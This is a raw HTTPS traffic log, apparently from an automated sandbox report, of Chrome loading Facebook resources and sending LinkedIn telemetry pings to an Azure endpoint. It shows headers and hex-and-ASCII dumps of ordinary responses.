xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: lW801/3GNW4aLS6Rww/yunc+gI6+4rzJUKtIg61LTl2Z+dFKauEolhRPyKfAjQyY1irCqxgKBkyDgIxCnzfEBQ== Date: Thu, 11 Apr 2024 20:35:36 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2106
2024-04-11 20:35:36 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:36 UTC	2105	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 01 59 50 4c 54 45 47 70 4c 05 65 ff 08 65 ff 07 65 ff 10 70 ff 07 65 ff 08 66 ff 08 66 ff 08 68 ff 08 66 ff 07 66 ff 00 60 ff 10 60 ff ff ff ff 08 67 ff 07 66 ff 08 66 ff 08 67 ff 08 67 ff 08 66 ff 08 66 ff 08 66 ff 08 67 ff 07 66 ff 08 68 ff 09 65 ff 08 66 ff 08 64 ff 09 67 ff 07 65 ff 07 65 ff 06 63 ff 0a 66 ff 07 66 ff 08 65 ff 07 66 ff 09 67 ff 06 67 ff 08 65 ff 08 66 ff 08 66 ff ff ff ff ff ff ff 08 69 ff 08 68 ff 07 65 ff 09 66 ff 07 66 ff ff ff ff 0b 65 ff ff ff ff ff ff ff 07 65 ff 07 67 ff 07 66 ff 07 66 ff 0a 66 ff 09 66 ff 07 66 ff 09 66 ff 07 67 ff ff ff ff ff ff ff 06 66 ff 08 65 ff 07 65 ff ff ff ff 87 b7 ff 46 8c ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDRe5YPLTEGpLeeepeffhff``gffggfffgfhefdgeecffefggeffiheffeegffffffgfeeF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	50040	13.107.213.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	578	OUT	OPTIONS /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=ping HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://www.linkedin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:36 UTC	717	IN	HTTP/1.1 204 No Content Date: Thu, 11 Apr 2024 20:35:36 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Set-Cookie: TiPMix=54.73287490655352; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203536Z-1586dc58458q4jvztnf08keayw00000000b000000000yzkp X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	50049	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	389	OUT	GET /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907
2024-04-11 20:35:36 UTC	1119	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding Set-Cookie: fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o; expires=Wed, 10-Jul-2024 20:35:36 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:36 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:36 UTC	1383	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:36 UTC	2559	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 63 6f 6e 66 69 67 76 65 72 73 69 6f 6e 3d 22 41 63 4c 46 35 4b 47 67 62 6b 43 63 76 37 33 4e 76 43 71 4f 45 75 5a 53 33 71 66 71 4c 31 4c 55 7a 75 57 4b 54 57 36 32 49 6f 79 6f 52 55 30 64 6e 33 6b 4c 70 5f 43 68 33 36 59 4a 48 41 22 3b 20 65 5f 63 6c 69 65 6e 74 61 64 64 72 3d 22 41 63 4a 45 6c 52 44 30 44 32 70 4a 68 34 6a 68 6d 48 5a 74 32 74 4b 46 61 6d 55 43 48 53 51 53 4f 39 72 36 4d 43 77 49 4d 79 6c 50 79 61 69 35 58 47 36 49 56 34 34 4b 43 2d 6b 31 6b 57 38 6e 31 78 31 54 4f 47 64 4b 33 4a 48 34 71 4b 49 71 44 73 56 6f 4b 61 51 65 6f 65 4f 2d 69 72 44 37 30 34 38 53 58 64 54 4f 48 43 47 55 6e 78 70 2d 67 41 22 3b 20 65 5f 66 62 5f Data Ascii: Proxy-Status: http_request_error; e_fb_configversion="AcLF5KGgbkCcv73NvCqOEuZS3qfqL1LUzuWKTW62IoyoRU0dn3kLp_Ch36YJHA"; e_clientaddr="AcJElRD0D2pJh4jhmHZt2tKFamUCHSQSO9r6MCwIMylPyai5XG6IV44KC-k1kW8n1x1TOGdK3JH4qKIqDsVoKaQeoeO-irD7048SXdTOHCGUnxp-gA"; e_fb_
2024-04-11 20:35:36 UTC	165	IN	Data Raw: 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 38 33 2c 20 72 74 78 3d 30 2c 20 63 3d 31 30 2c 20 6d 73 73 3d 31 32 37 37 2c 20 74 62 77 3d 33 34 30 33 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 31 30 37 2c 20 75 6c 6c 61 74 3d 30 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=10, mss=1277, tbw=3403, tp=-1, tpl=-1, uplat=107, ullat=0Alt-Svc: h3=":443"; ma=86400Connection: close
2024-04-11 20:35:36 UTC	1335	IN	Data Raw: 64 35 64 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4f 62 48 46 64 36 54 68 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: d5d3<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="ObHFd6Th">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 75 6c 6b 2d 72 6f 75 74 65 2d 64 65 66 69 6e 69 74 69 6f 6e 73 2f 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f Data Ascii: een and (max-width: 640px)" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><link rel="alternate" media="handheld" href="https://www.facebook.com/ajax/bulk-route-definitions/" /><meta name="robots" content="noodp,noydir" /><meta property="o
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 30 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c Data Ascii: 0935":{"result":false,"hash":null},"20939":{"result":true,"hash":null},"20940":{"result":false,"hash":null},"21043":{"result":false,"hash":null},"7742":{"result":false,"hash":null},"20836":{"result":false,"hash":null},"20936":{"result":false,"hash":null},
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 36 39 22 2c 5b 22 44 61 74 61 53 74 6f 72 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 61 74 61 53 74 6f 72 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c 5b 5d 2c 7b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 3a 22 57 59 57 4a 41 56 65 6a 69 55 78 79 Data Ascii: {"__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",["RunBlue"],{"__rc":["RunBlue",null]},-1],["cr:6669",["DataStore"],{"__rc":["DataStore",null]},-1],["ServerNonce",[],{"ServerNonce":"WYWJAVejiUxy
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 67 46 72 6f 6d 54 69 65 72 22 3a 31 30 30 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 32 39 31 2c 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 65 73 22 3a 5b 32 30 30 2c 35 30 30 5d 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 Data Ascii: gFromTier":100,"hypStep4":false,"phdOn":false,"btCutoffIndex":2291,"fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetries":[200,500],"translationR
2024-04-11 20:35:36 UTC	1500	IN	Data Raw: 22 3a 22 41 56 72 6e 52 36 41 41 79 4e 73 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 36 31 30 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 31 37 39 32 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 38 32 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 Data Ascii: ":"AVrnR6AAyNs"},323],["SiteData",[],{"server_revision":1012716101,"client_revision":1012711792,"push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19824.BP:DEFAULT.2.0..0.0","pr":1,"manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_or

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	50053	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	729	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=b&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0vG5J7WWtrYcTapvn..BmGEmX..AAA.0.0.BmGEmX.AWUjTjkZEnA
2024-04-11 20:35:36 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:36 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:36 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	50051	13.107.213.40	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	676	OUT	POST /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=ping HTTP/1.1 Host: ps.azurewaf.microsoft.com Connection: keep-alive Content-Length: 2067 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:36 UTC	2067	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 22 65 79 4a 68 49 6a 6f 77 4c 43 4a 69 49 6a 6f 77 4c 43 4a 6a 49 6a 6f 69 64 33 64 33 4c 6d 78 70 62 6d 74 6c 5a 47 6c 75 4c 6d 4e 76 62 53 49 73 49 6d 51 69 4f 69 49 76 59 58 56 30 61 48 64 68 62 47 77 69 4c 43 4a 6c 49 6a 6f 78 4d 6a 67 77 4c 43 4a 6d 49 6a 6f 35 4d 44 63 73 49 6d 67 69 4f 69 49 79 4d 44 49 30 4c 54 41 30 4c 54 45 78 56 44 49 77 4f 6a 4d 31 4f 6a 4d 31 4c 6a 45 34 4f 56 6f 69 4c 43 4a 70 49 6a 6f 69 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 47 6c 75 61 32 56 6b 61 57 34 75 59 32 39 74 4c 32 4e 76 62 58 42 68 62 6e 6b 76 59 6d 5a 71 4c 57 5a 70 62 6d 46 75 59 32 6c 68 62 43 31 6e 63 6d 39 31 63 43 49 73 49 6d 6f 69 4f 69 4a 4e 62 33 70 70 62 47 78 68 4c 7a 55 75 4d 43 41 6f 56 32 6c 75 5a 47 39 33 63 79 Data Ascii: {"data":"eyJhIjowLCJiIjowLCJjIjoid3d3LmxpbmtlZGluLmNvbSIsImQiOiIvYXV0aHdhbGwiLCJlIjoxMjgwLCJmIjo5MDcsImgiOiIyMDI0LTA0LTExVDIwOjM1OjM1LjE4OVoiLCJpIjoiaHR0cHM6Ly93d3cubGlua2VkaW4uY29tL2NvbXBhbnkvYmZqLWZpbmFuY2lhbC1ncm91cCIsImoiOiJNb3ppbGxhLzUuMCAoV2luZG93cy
2024-04-11 20:35:36 UTC	670	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:36 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Set-Cookie: TiPMix=74.60823160180668; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=mouselogdatacollection.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Strict-Transport-Security: max-age=2592000 Request-Context: appId=cid-v1:b972f5ff-0dbf-487c-8b8c-19607927d2c0 X-Powered-By: ASP.NET x-azure-ref: 20240411T203536Z-1586dc58458bqzr8zz4u7kgd7000000001v000000000wxfp X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	50052	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:36 UTC	375	OUT	GET /rsrc.php/v3/y0/r/eFZD1KABzRA.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
